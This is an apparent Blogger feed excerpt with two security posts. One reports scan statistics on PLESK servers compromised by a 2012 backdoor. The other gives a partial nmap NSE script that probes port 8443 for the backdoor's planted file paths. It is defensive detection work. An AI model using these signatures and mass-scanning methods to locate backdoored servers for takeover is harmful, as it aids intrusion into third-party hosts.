post on the actual infected servers. &lt;/p&gt;  &lt;p&gt;I took some time during the holidays to fix my http-plesk-backdoor.nse script and make a more wide search for infected and still compromised PLESK installations. The work is still in progress and the stats below are rough stats. &lt;/p&gt;  &lt;p&gt;There are 256 A class networks , 0.0.0.0/8 to 255.0.0.0/8 , each block has a possible of 16.777.216 addresses, not everything is in use from the /8 networks and many are reserved ( more at &lt;a title=&quot;http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml&quot; href=&quot;http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml&quot;&gt;http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml&lt;/a&gt; ). I started my search results from the European networks, allocated in RIPE NCC and I will move to ARIN (USA based networks) and then to the rest.&lt;/p&gt;  &lt;p&gt;How long does it take to scan an entire A class, is totally based on your ISP tolerance and the connectivity that your server has to the internet. Scanning an European range from a server that is outside the EU network will take more time but nothing extreme estimate a total added time of 20-30 minutes in one scan. My scans took around 10 hours to complete for each A class ( for 16.777.216 addresses ), with the script execution time combined. &lt;/p&gt;  &lt;p&gt;Initially I thought that the script execution will take a huge amount of time comparing to the scanning results of nmap, but the scripting engine is doing a great job on the nse scripts, and the time added is roughly one extra hour when the script is used.&lt;/p&gt;  &lt;p&gt;Results so far:&amp;#160; &lt;/p&gt;  &lt;p&gt;6 European based networks scanned (100.663.296 addresses), 91.970 systems with the port 8443 open (not all of them are PLESK servers).&lt;/p&gt;  &lt;p&gt;Compromised / Infected PLESK systems: 3.094&lt;/p&gt;  &lt;p&gt;Number of domains on the hacked above servers: 15.979&lt;/p&gt;  &lt;p&gt;The number of domains is an estimation based on the ‘feature’ that many PLESK installations provide allowing a reverse DNS lookup on the server IP, that will return all the domains that are currently hosted in that server. &lt;/p&gt;  &lt;p&gt;If you need details on the networks and the hosts that are found infected please contact via email with a valid reason.&lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/3596448158629462381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2012/08/3094-hacked-plesk-servers-more-than.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/3596448158629462381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/3596448158629462381'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2012/08/3094-hacked-plesk-servers-more-than.html' title='3.094 Hacked PLESK servers, more than 15.000 domains and this is just 3%'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-1507372090545178286</id><published>2012-05-09T14:30:00.001+03:00</published><updated>2012-05-09T14:35:30.462+03:00</updated><title type='text'>Nmap script to check PLESK compromised servers</title><content type='html'>&lt;br /&gt;
Few days back I wrote about the PLESK compromised servers in &lt;a href=&quot;http://www.my-audit.gr/&quot;&gt;www.my-audit.gr&lt;/a&gt;, at that time I made a script to perform manual checks for our clients in our IP ranges.&amp;nbsp; The script was slow and it was taking a lot of time to produce actual results at first, then I remembered about nmap scripting language (NSE).&amp;nbsp; I had never used it before but it seems rather easy to make a simple script, so after a couple of minutes I came up with the following script:&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; description = [[&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; Looks for signature of PLESK servers that were compromised earlier in 2012.&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; The script checks the existence of enterprise/control/psa/engine.php and &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; /enterprise/control/ctrl.php3 files that are not part of plesk distribution. &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; The files were added in most servers during the first 3 months of 2012 &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; after a global scale attack on PLESK hosting servers. &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; More at: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/ ,&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; http://forum.parallels.com/showthread.php?t=258101 and &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; http://0entropy.blogspot.com/2012_03_01_archive.html&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; ]]&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; ---&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; -- the result will be something like the following&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; -- Interesting ports on somehost.someserver.com (xxx.xxx.193.64):&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; -- PORT     STATE SERVICE&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt; -- 8443/tcp open  https-alt&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum18&quot; style=&quot;color: #606060;&quot;&gt;  18:&lt;/span&gt; -- |_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum19&quot; style=&quot;color: #606060;&quot;&gt;  19:&lt;/span&gt; ---&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum20&quot; style=&quot;color: #606060;&quot;&gt;  20:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum21&quot; style=&quot;color: #606060;&quot;&gt;  21:&lt;/span&gt; author = &quot;Nicolas Krassas&quot;&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum22&quot; style=&quot;color: #606060;&quot;&gt;  22:&lt;/span&gt; license = &quot;Same as Nmap--See http://nmap.org/book/man-legal.html&quot;&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum23&quot; style=&quot;color: #606060;&quot;&gt;  23:&lt;/span&gt; categories = {&quot;malware&quot;,&quot;discovery&quot;,&quot;safe&quot;}&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum24&quot; style=&quot;color: #606060;&quot;&gt;  24:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum25&quot; style=&quot;color: #606060;&quot;&gt;  25:&lt;/span&gt; require &quot;http&quot;&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum26&quot; style=&quot;color: #606060;&quot;&gt;  26:&lt;/span&gt; require &quot;shortport&quot;&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum27&quot; style=&quot;color: #606060;&quot;&gt;  27:&lt;/span&gt; require &quot;stdnse&quot;&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum28&quot; style=&quot;color: #606060;&quot;&gt;  28:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum29&quot; style=&quot;color: #606060;&quot;&gt;  29:&lt;/span&gt; -- This script will check on port 8443 only&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum30&quot; style=&quot;color: #606060;&quot;&gt;  30:&lt;/span&gt; portrule = function(host, port)&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum31&quot; style=&quot;color: #606060;&quot;&gt;  31:&lt;/span&gt;     local svc = { std = { [&quot;https-alt&quot;] = 1 } }&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum32&quot; style=&quot;color: #606060;&quot;&gt;  32:&lt;/span&gt;     if port.protocol ~= &#39;tcp&#39; or not svc.std[port.service] then&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum33&quot; style=&quot;color: #606060;&quot;&gt;  33:&lt;/span&gt;         return false&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum34&quot; style=&quot;color: #606060;&quot;&gt;  34:&lt;/span&gt;     end&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum35&quot; style=&quot;color: #606060;&quot;&gt;  35:&lt;/span&gt;     return true&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum36&quot; style=&quot;color: #606060;&quot;&gt;  36:&lt;/span&gt; end&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum37&quot; style=&quot;color: #606060;&quot;&gt;  37:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum38&quot; style=&quot;color: #606060;&quot;&gt;  38:&lt;/span&gt; -- Execute the check &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum39&quot; style=&quot;color: #606060;&quot;&gt;  39:&lt;/span&gt; action = function(host, port)&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum40&quot; style=&quot;color: #606060;&quot;&gt;  40:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum41&quot; style=&quot;color: #606060;&quot;&gt;  41:&lt;/span&gt;         -- Perform a GET request for v2 backdoor, this is the most common currently.&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum42&quot; style=&quot;color: #606060;&quot;&gt;  42:&lt;/span&gt;         result = http.get_url(&quot;https://&quot; .. host.ip .. &quot;:&quot; .. port.number .. &quot;/enterprise/control/psa/engine.php&quot;)&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum43&quot; style=&quot;color: #606060;&quot;&gt;  43:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum44&quot; style=&quot;color: #606060;&quot;&gt;  44:&lt;/span&gt;         if(not(result)) then&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum45&quot; style=&quot;color: #606060;&quot;&gt;  45:&lt;/span&gt;                 return stdnse.format_output(false, &quot;Couldn&#39;t perform GET request&quot;)&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum46&quot; style=&quot;color: #606060;&quot;&gt;  46:&lt;/span&gt;         end&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum47&quot; style=&quot;color: #606060;&quot;&gt;  47:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum48&quot; style=&quot;color: #606060;&quot;&gt;  48:&lt;/span&gt;         if(result.status == 200) then&lt;/pre&gt;
